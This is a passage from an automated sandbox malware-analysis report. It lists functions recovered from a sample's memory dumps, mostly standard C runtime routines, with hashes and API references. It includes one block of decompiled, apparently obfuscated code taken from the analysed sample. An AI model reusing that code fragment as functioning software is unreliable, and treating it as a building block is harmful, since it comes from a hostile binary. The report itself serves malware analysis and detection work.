Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 4f3fee068da56835aa655175eb47480dcb8228c5c6473037f12314b1f2ac6e5f
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 41D0123124512877D7103A94DC09BCD7B1CDF05B62F008411FB0DD9080C770994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 00418E54 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__nh_malloc_dbg.LIBCMTD ref: 00418E6B
__nh_malloc_dbg.LIBCMTD ref: 00418F97

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: 5ec29135ebc877a79cc8f38a057d6a50baf79072ac05eacdb54ec8c6044bbf05
Instruction ID: d5fee7675830d29b0fcdd56f57d3223856fff5b19dda0669bea2d5f7dc92b914
Opcode Fuzzy Hash: 5ec29135ebc877a79cc8f38a057d6a50baf79072ac05eacdb54ec8c6044bbf05
Instruction Fuzzy Hash: 98E02071E8830899E7309AA5580375CB720E744735F20476FD635775C1DB7504018F08

Uniqueness

Uniqueness Score: -1.00%

Function 004121D0 Relevance: 1.5, APIs: 1, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

__encode_pointer.LIBCMTD ref: 004121D7

Part of subcall function 00412100: __crt_wait_module_handle.LIBCMTD ref: 0041214C
Part of subcall function 00412100: RtlEncodePointer.NTDLL(?), ref: 00412187

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: EncodePointer__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 2010845264-0
Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: 46cbeabffbf95fd28e168f7dd861a0dec8e1886472a4c51c30da7dda508115ac
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: CAA011B288820833E20020833803B023A0C83C0A38F0A0022FA0C0A2822882A8A080AB

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD50 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMTD ref: 0040AD55

Part of subcall function 0040AD70: _check_managed_app.LIBCMTD ref: 0040ADEC
Part of subcall function 0040AD70: __heap_init.LIBCMTD ref: 0040ADF6
Part of subcall function 0040AD70: _fast_error_exit.LIBCMTD ref: 0040AE04
Part of subcall function 0040AD70: __mtinit.LIBCMTD ref: 0040AE0C
Part of subcall function 0040AD70: _fast_error_exit.LIBCMTD ref: 0040AE17
Part of subcall function 0040AD70: __RTC_Initialize.LIBCMTD ref: 0040AE29
Part of subcall function 0040AD70: ___crtGetEnvironmentStringsW.LIBCMTD ref: 0040AE52
Part of subcall function 0040AD70: ___wsetargv.LIBCMTD ref: 0040AE5C
Part of subcall function 0040AD70: __wsetenvp.LIBCMTD ref: 0040AE6F
Part of subcall function 0040AD70: __cinit.LIBCMTD ref: 0040AE84
Part of subcall function 0040AD70: __wwincmdln.LIBCMTD ref: 0040AEA1

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _fast_error_exit$EnvironmentInitializeStrings___crt___security_init_cookie___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3809881541-0
Opcode ID: 46dd35086e576636f68321a5a2d894e03e8e5a9a95b5350717c8027206e118a3
Instruction ID: 7132b868953286af8f37f4d811810dec1554c00709e8fe44877464652cf20773
Opcode Fuzzy Hash: 46dd35086e576636f68321a5a2d894e03e8e5a9a95b5350717c8027206e118a3
Instruction Fuzzy Hash: 39A00232044B4C66455433E7241BD5FB64E4DC0F6DBD9016FB92C669932CAEACE140AF

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0093092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

., xrefs: 0093095F
l, xrefs: 00930966
GetProcAddress., xrefs: 009309DC, 009309DF, 009309E4

Memory Dump Source

Source File: 00000000.00000002.388745923.0000000000930000.00000040.00001000.00020000.00000000.sdmp, Offset: 00930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 019e1cc6fa600d79fcbbde06cfc8be2c9785719c313f7a7936e9255743576a20
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: C03117B6900609DFDB10CF99C884BAEBBF9FB88324F25404AD441AB251D775AA45CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 004014DF Relevance: 1.4, Strings: 1, Instructions: 139COMMON

Download Yara Rule

Strings

PPPP, xrefs: 004015E9

Memory Dump Source

Source File: 00000000.00000002.388539731.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: PPPP
API String ID: 0-1462104750
Opcode ID: c9c0241cd0afcbd3fd31c594775fe31887d42f61bb82ab006a020ba5247fe7de
Instruction ID: 42034d581ce3fc54d6be9e219e9e8320d81d709d73c932a33cf25b948e6a08f8
Opcode Fuzzy Hash: c9c0241cd0afcbd3fd31c594775fe31887d42f61bb82ab006a020ba5247fe7de
Instruction Fuzzy Hash: 38418EF2019A827FE3124F20DC5ACFB7B7DD94921130886CAF894DB952C6595895C7F3

Uniqueness

Uniqueness Score: -1.00%

Function 00402351 Relevance: .1, Instructions: 144
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E00402351(void* __eax, intOrPtr* __ebx, signed int __ecx, void* __edx, void* __edi, void* __esi) {
				void* _t36;
				void* _t37;
				void* _t38;
				void* _t39;
				void* _t41;
				void* _t42;
				signed int _t43;
				signed int _t44;
				signed int _t45;
				signed int _t46;
				signed char _t47;
				signed int _t50;
				signed int _t51;
				signed int _t52;
				signed int _t53;
				signed char _t54;
				void* _t70;
				void* _t72;
				void* _t77;
				void* _t79;
				void* _t81;
				void* _t82;

				_t79 = __esi;
				_t70 = __edx;
				_pop(_t84);
				asm("fst qword [0x9c2ddd94]");
				_t72 = __eax + 0x3af0294;
				_push(_t72);
				_t36 = __edi - 1;
				_push(_t36);
				_push(_t36);
				_t37 = _t72;
				ss = _t36;
				_push(_t37);
				_push(_t37);
				asm("fst dword [edi]");
				_t38 = _t37;
				_t39 = _t36;
				ss = _t37;
				asm("adc [eax+0x50], dl");
				ss = _t39;
				_t41 = _t38 + 1;
				_push(_t41);
				_push(_t41);
				_push(_t41);
				_t42 = _t39;
				ss = _t41;
				_push(_t42);
				_push(_t42);
				_push(_t42);
				es = _t42;
				_t43 = _t42 + 0xc3af02b4;
				asm("fcom qword [eax+0x50]");
				asm("aad 0x90");
				_t77 = _t43;
				asm("aad 0x96");
				_push(_t43);
				_push(_t43);
				_push(_t43);
				_push(__edx);
				asm("scasd");
				_t44 = _t43 & 0xc0c3afb4;
				_push(_t44);
				_push(_t44);
				_push(_t44);
				 *0xd45f50bc =  *0xd45f50bc >> __ecx;
				asm("repe push eax");
				_push(_t44);
				_push(_t44);
				asm("scasd");
				_t45 = _t44 & 0xaf103abc;
				_t82 = _t81 +  *((intOrPtr*)(_t45 - 0x27));
				asm("adc eax, 0xbc05dda4");
				asm("movsb");
				_t46 = _t45 & 0xc0c3afb4;
				_push(_t46);
				_push(_t46);
				_push(_t46);
				asm("aad 0x90");
				_t47 = _t46 & 0xbc2dd329;
				_push(_t47);
				asm("fist dword [0x4410dba4]");
				asm("fst dword [0x6baf61a8]");
				_t50 = (_t47 & 0x00000023) - 0xdd3323a8 + 0x503a02bc;
				es = _t50;
				asm("scasd");
				_t51 = _t50 & 0xc4c3afb4;
				_push(_t51);
				_push(_t51);
				_push(_t51);
				 *0x162450bc =  *0x162450bc >> __ecx +  *((intOrPtr*)(_t77 + 0x25afbc25));
				asm("rcl dword [0x25af52bc], cl");
				_push(0xdda015d9);
				_t52 = _t51 + 0x25af02bc;
				es = _t52;
				asm("scasd");
				_t53 = _t52 & 0xc4c3afb4;
				_push(_t53);
				_push(_t53);
				_push(_t53);
				asm("aad 0x90");
				_t54 = _t53 & 0xbc2dd347;
				asm("fist dword [0x4010dda0]");
				 *__ebx =  *__ebx + (_t54 & 0x00000041);
				asm("aad 0x90");
				asm("scasd");
				ss = _t54;
				goto L1;
			}

0x00402351
0x00402351
0x00402356
0x00402357
0x0040235d
0x0040235e
0x0040235f
0x00402360
0x00402361
0x00402363
0x00402364
0x00402366
0x00402367
0x0040236a
0x0040236c
0x0040236d
0x0040236e
0x00402370
0x00402375
0x00402376
0x00402377
0x00402378
0x00402379
0x0040237b
0x0040237c
0x0040237e
0x0040237f
0x00402380
0x00402382
0x00402386
0x0040238b
0x0040238f
0x00402391
0x00402392
0x00402394
0x00402395
0x00402396
0x004023a0
0x004023a1
0x004023a2
0x004023a7
0x004023a8
0x004023a9
0x004023aa
0x004023b0
0x004023b2
0x004023b3
0x004023b4
0x004023b5
0x004023ba
0x004023bd
0x004023c8
0x004023cc
0x004023d1
0x004023d2
0x004023d3
0x004023d4
0x004023d6
0x004023db
0x004023de
0x004023e4
0x004023ef
0x004023f8
0x004023f9
0x004023fa
0x004023ff
0x00402400
0x00402401
0x00402402
0x00402408
0x00402413
0x00402418
0x00402423
0x00402424
0x00402425
0x0040242a
0x0040242b
0x0040242c
0x0040242d
0x0040242f
0x00402437
0x0040243d
0x00402444
0x00402448
0x0040244e
0x0040244f

Memory Dump Source

Source File: 00000000.00000002.388539731.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb95eb28c3ea5ceec2e3033c146810c6e2f5aab3d7c853bbb481ccd21ba1313a
Instruction ID: c5558df752f303d9b12da3b49636c5f29c6388f54a3b64fc1eef45c3947951cf
Opcode Fuzzy Hash: cb95eb28c3ea5ceec2e3033c146810c6e2f5aab3d7c853bbb481ccd21ba1313a
Instruction Fuzzy Hash: 63417AF311AA857FF3118A94EC4ADFB7B2CD5681393084485FD40DB403C268C8A18BB1

Uniqueness

Uniqueness Score: -1.00%

Function 00930D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.388745923.0000000000930000.00000040.00001000.00020000.00000000.sdmp, Offset: 00930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 43669dc8b0ab4399d4290d200ab6465382d6ff677c58c03cdc0548c2d6709c0e
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 6301A276B006048FDF21CF64C814BAA33E9FBC6316F4544A5D91A9B281E774A9418F90

Uniqueness

Uniqueness Score: -1.00%

Function 00402072 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.388539731.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13551ef71cb1a6f447fbd5480a6cb103b1654af51dbb33939e4de5ef2e619886
Instruction ID: 1d2253bcee00caf847626527a2ca008675ce4aadaffea8765609509fba5c1da7
Opcode Fuzzy Hash: 13551ef71cb1a6f447fbd5480a6cb103b1654af51dbb33939e4de5ef2e619886
Instruction Fuzzy Hash: 80D022B2864CA0AFEB006210CC1896B7FAC8C15210708C080B801E9119C30810218BB1

Uniqueness

Uniqueness Score: -1.00%

Function 00401EFD Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.388539731.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c4fbf70458648bca6f8a21e4b213d349669eb636f4c34a3048d8fef98564362
Instruction ID: 19ab161c9d805c9666a3c863c0cbb36cd8fc6fea7ed9fd7909dadc4bd56c9e04
Opcode Fuzzy Hash: 2c4fbf70458648bca6f8a21e4b213d349669eb636f4c34a3048d8fef98564362
Instruction Fuzzy Hash: 48D022B2804CA4AFEB006600CC149AB7FAD8C14310B08C040B801E5119C3091026CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 0041C37E Relevance: 51.2, APIs: 25, Strings: 4, Instructions: 431COMMON

Download Yara Rule

APIs

__invoke_watson_if_error.LIBCMTD ref: 0041C3C2
_wcscat_s.LIBCMTD ref: 0041C5DA

Part of subcall function 00421560: __invalid_parameter.LIBCMTD ref: 004215D2

__invoke_watson_if_error.LIBCMTD ref: 0041C5E3

Part of subcall function 0040DA70: __invoke_watson.LIBCMTD ref: 0040DA91

_wcscat_s.LIBCMTD ref: 0041C612

Part of subcall function 00421560: _memset.LIBCMT ref: 0042163B
Part of subcall function 00421560: __invalid_parameter.LIBCMTD ref: 00421697

__invoke_watson_if_error.LIBCMTD ref: 0041C61B
__snwprintf_s.LIBCMTD ref: 0041C674

Part of subcall function 0041BCD0: __vsnprintf_s_l.LIBCMTD ref: 0041BCF2

__invoke_watson_if_oneof.LIBCMTD ref: 0041C6AD
_wcscpy_s.LIBCMTD ref: 0041C6F2
__invoke_watson_if_error.LIBCMTD ref: 0041C6FB
__cftoe.LIBCMTD ref: 0041C76F
__invoke_watson_if_oneof.LIBCMTD ref: 0041C79E
_wcscpy_s.LIBCMTD ref: 0041C7D6
__invoke_watson_if_error.LIBCMTD ref: 0041C7DF
__itow_s.LIBCMTD ref: 0041C3B9

Part of subcall function 00425E30: _xtow_s@20.LIBCMTD ref: 00425E5B

__strftime_l.LIBCMTD ref: 0041C479
__invoke_watson_if_oneof.LIBCMTD ref: 0041C4B2
_wcscpy_s.LIBCMTD ref: 0041C4F7
__invoke_watson_if_error.LIBCMTD ref: 0041C500
_wcscpy_s.LIBCMTD ref: 0041C553
__invoke_watson_if_error.LIBCMTD ref: 0041C55C
_wcscat_s.LIBCMTD ref: 0041C58D
__invoke_watson_if_error.LIBCMTD ref: 0041C596

Strings

t8j, xrefs: 0041C7AD
t9j, xrefs: 0041CA05
h8Z@, xrefs: 0041C575
D[@, xrefs: 0041C540, 0041C546

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __invoke_watson_if_error$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$__cftoe__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnprintf_s_l_memset_xtow_s@20
String ID: D[@$h8Z@$t8j$t9j
API String ID: 2582952045-961499134
Opcode ID: 375f059d29a9e69a38695ebe68f807c71d44c1043d2ef82360e5877e8da2c8f1
Instruction ID: 71c25d25a12874fcc37c96a8d3993d28b7f77834bbcfebeaf0ff6d13a3a186ae
Opcode Fuzzy Hash: 375f059d29a9e69a38695ebe68f807c71d44c1043d2ef82360e5877e8da2c8f1
Instruction Fuzzy Hash: 5E0292B4E80718ABDB24DB50DC8ABDF7774AB04745F5040AAF6087A2C1D7B85AC4CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004162D7 Relevance: 35.4, APIs: 19, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 0041631C
_isdigit.LIBCMTD ref: 00416342
___check_float_string.LIBCMTD ref: 004163A2
__inc.LIBCMTD ref: 004163C0
_isdigit.LIBCMTD ref: 00416472
___check_float_string.LIBCMTD ref: 004164D2
___check_float_string.LIBCMTD ref: 00416459

Part of subcall function 00416A30: __nh_malloc_dbg.LIBCMTD ref: 00416A8D

__inc.LIBCMTD ref: 0041641D

Part of subcall function 00416B90: __filbuf.LIBCMTD ref: 00416BD1

___check_float_string.LIBCMTD ref: 00416566
__inc.LIBCMTD ref: 00416584
___check_float_string.LIBCMTD ref: 004165C7
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416936

Strings

+, xrefs: 004165DC

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: ___check_float_string$__inc$Locale_isdigit$UpdateUpdate::~___filbuf__nh_malloc_dbg
String ID: +
API String ID: 1483831053-2126386893
Opcode ID: cfe7e7b0a39ed1136eed38c03533236d4567fa0690a0bb4b4d6c6f14ef740961
Instruction ID: 809c1caa45286ba3b7bade6f092d8ca83d6c0dc0d804a95702d802cb9b42c5f9
Opcode Fuzzy Hash: cfe7e7b0a39ed1136eed38c03533236d4567fa0690a0bb4b4d6c6f14ef740961
Instruction Fuzzy Hash: C9F151B5D002199BCF14DFA9C890AEEB775BF44308F1485AED81AA7342D739EA80CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00415D7F Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 387COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 00415DD1
__inc.LIBCMTD ref: 00415DF9
__inc.LIBCMTD ref: 00415E2C
__un_inc.LIBCMTD ref: 00415EB3
_isxdigit.LIBCMTD ref: 00415F4D
__hextodec.LIBCMTD ref: 00415F80

Strings

F, xrefs: 0041624B
8, xrefs: 00416165

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __inc$__hextodec__un_inc_isxdigit
String ID: 8$F
API String ID: 3652663768-3144575033
Opcode ID: fd987acc6c666c956d54ca10cb05604e167a973018529154d10a44252a42bdbf
Instruction ID: b7194c7f379e220c82ba2db17ec16c4085fdc6bef1664d9e5679748385c0d50d
Opcode Fuzzy Hash: fd987acc6c666c956d54ca10cb05604e167a973018529154d10a44252a42bdbf
Instruction Fuzzy Hash: 5B026BB0D05269DBCF24CF65C8947EEBBB1AF55308F2481DAD8196B342D2399AC1CF49

Uniqueness

Uniqueness Score: -1.00%

Function 004244E9 Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00424578
_get_int64_arg.LIBCMTD ref: 004245A0
__aullrem.LIBCMT ref: 00424745
__aulldiv.LIBCMT ref: 00424767
_write_multi_char.LIBCMTD ref: 0042486E
_write_string.LIBCMTD ref: 00424889
_write_multi_char.LIBCMTD ref: 004248B5
_wctomb_s.LIBCMTD ref: 00424932

Strings

-, xrefs: 0042480E
9, xrefs: 00424778

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: -$9
API String ID: 3451365851-1631151375
Opcode ID: 1089e4d7dd6b9b0294ccc4d0f6270769c35b4d0782c3179a2116516f3c0c42e0
Instruction ID: d639139e592a618ff39e80688e6734c5ceed9c68983cffea7e3421bb354d43cc
Opcode Fuzzy Hash: 1089e4d7dd6b9b0294ccc4d0f6270769c35b4d0782c3179a2116516f3c0c42e0
Instruction Fuzzy Hash: D0F138B1E052299FDB24CF58DC89BAEB7B1FB84304F5481DAD019A7241D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0042CF6B Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D000
_get_int64_arg.LIBCMTD ref: 0042D028
__aullrem.LIBCMT ref: 0042D1D0
__aulldiv.LIBCMT ref: 0042D1F2
_write_multi_char.LIBCMTD ref: 0042D30B
_write_string.LIBCMTD ref: 0042D326
_write_multi_char.LIBCMTD ref: 0042D352
__mbtowc_l.LIBCMTD ref: 0042D3C1

Strings

9, xrefs: 0042D203

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: 9
API String ID: 3455034128-2366072709
Opcode ID: e1dbd7a2ee1ffe5372e093ef0ac7b8b4923d3eb4d440611b2169f0b0d287a497
Instruction ID: d72ee7f9d4145fd5335f9405a89968f3991b617a5c57101b93e0546751d5dd01
Opcode Fuzzy Hash: e1dbd7a2ee1ffe5372e093ef0ac7b8b4923d3eb4d440611b2169f0b0d287a497
Instruction Fuzzy Hash: 69F14BB1E002299FDB24CF54DC81BAEB7B1BF85304F54419AE509A7241D738AE85CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 004262A3 Relevance: 25.8, APIs: 17, Instructions: 296COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004262EB
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00426321
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00426342
wcsncnt.LIBCMTD ref: 00426379
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004263DF
_wcslen.LIBCMTD ref: 004265EF
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004265FD

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_wcslenwcsncnt
String ID:
API String ID: 1043867012-0
Opcode ID: 38b9c36913f6a637c9db428f0d765fa5dd126ddc588ab785e19c7fe825147f66
Instruction ID: fba23def9addac4c699dbbf2c9b5b95a7c598c905de70eb819ef04111d9e5674
Opcode Fuzzy Hash: 38b9c36913f6a637c9db428f0d765fa5dd126ddc588ab785e19c7fe825147f66
Instruction Fuzzy Hash: E5D11971A00218EFCB08DF94D994BEEB771FF44304F61815AE4266B290E738AE45CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00424247 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0042424B
__get_printf_count_output.LIBCMTD ref: 00424259
__invalid_parameter.LIBCMTD ref: 004242E0
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004242F5
_write_multi_char.LIBCMTD ref: 0042486E
_write_string.LIBCMTD ref: 00424889
_write_multi_char.LIBCMTD ref: 004248B5
_wctomb_s.LIBCMTD ref: 00424932

Strings

-, xrefs: 0042480E

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: -
API String ID: 2357813345-2547889144
Opcode ID: 22f7bf77a5185453980dc0181bcba23d5cd02176fdada5518b895fd141b39b8f
Instruction ID: 62a432f7209f8c76bba96f11fe2b22b3922c9ee6857e3092afed569429697c96
Opcode Fuzzy Hash: 22f7bf77a5185453980dc0181bcba23d5cd02176fdada5518b895fd141b39b8f
Instruction Fuzzy Hash: AAA17EB1E002289BDB24DF59DC49BEEB7B0EB84304F5481DAE4197A281D7789EC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00424095 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00424099
_strlen.LIBCMT ref: 004240C9
_write_multi_char.LIBCMTD ref: 0042486E
_write_string.LIBCMTD ref: 00424889
_write_multi_char.LIBCMTD ref: 004248B5
_wctomb_s.LIBCMTD ref: 00424932

Strings

-, xrefs: 0042480E
H@, xrefs: 004240BC

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: -$H@
API String ID: 2232461714-3277072158
Opcode ID: 3b27cd3c70fd3cc913682bcc9301af4f7dc24b70a3ea2e83d0a0d9472fc5e4ed
Instruction ID: d3fdff780bab9552c5bbad128ee216e954f39bc74aeaf13d33f3bbbfd6759d06
Opcode Fuzzy Hash: 3b27cd3c70fd3cc913682bcc9301af4f7dc24b70a3ea2e83d0a0d9472fc5e4ed
Instruction Fuzzy Hash: 57A18DB5E012289BDB24DF58DC49BEEB7B0EB84305F5481DAD0096B281D7789EC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00415A0C Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 256COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00415A54
__un_inc.LIBCMTD ref: 00415BA8
__inc.LIBCMTD ref: 00415BDA
__inc.LIBCMTD ref: 00415C99
__mbtowc_l.LIBCMTD ref: 00415CDB
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416936

Strings

{, xrefs: 00415C1C
], xrefs: 00415A6D
{, xrefs: 00415B82
, xrefs: 00415C13

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: Locale__inc$UpdateUpdate::~___mbtowc_l__un_inc_memset
String ID: $]${${
API String ID: 2643002128-1336171634
Opcode ID: 7bc1d3f72b97b9c139b63de21a0d97393932a959649b91a5c279b282a7c8f52e
Instruction ID: 5db531b267afc79fa4ecc560483b52146c78928f4778816fc6cd1a5ea639018b
Opcode Fuzzy Hash: 7bc1d3f72b97b9c139b63de21a0d97393932a959649b91a5c279b282a7c8f52e
Instruction Fuzzy Hash: CBB1D670D09798CBCF25CBA9D4A06EDFBB1AF46305F14C19BE8696B342C2385A84CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0042CAF4 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0042CAF8
_strlen.LIBCMT ref: 0042CB28
_write_multi_char.LIBCMTD ref: 0042D30B
_write_string.LIBCMTD ref: 0042D326
_write_multi_char.LIBCMTD ref: 0042D352
__mbtowc_l.LIBCMTD ref: 0042D3C1

Strings

H@, xrefs: 0042CB1B

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: H@
API String ID: 909868375-2857177089
Opcode ID: 17c0dc72b9b16696565d3a3b039801c8e9ec555443d7e29f07e174021d1c882a
Instruction ID: efebcbe0fb91ef9897ad02765deb8a7cc7eef7fbd5ba21e01a77b81b580d429e
Opcode Fuzzy Hash: 17c0dc72b9b16696565d3a3b039801c8e9ec555443d7e29f07e174021d1c882a
Instruction Fuzzy Hash: DCA170B1E00228DFDB24DF54DC85BAEB7B5BB44304F54819AE50967281D738AE84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0042CCCA Relevance: 16.7, APIs: 11, Instructions: 238COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0042CCCE
__get_printf_count_output.LIBCMTD ref: 0042CCDC
__invalid_parameter.LIBCMTD ref: 0042CD63
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042CD78
_write_multi_char.LIBCMTD ref: 0042D30B
_write_string.LIBCMTD ref: 0042D326
_write_multi_char.LIBCMTD ref: 0042D352
__mbtowc_l.LIBCMTD ref: 0042D3C1

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

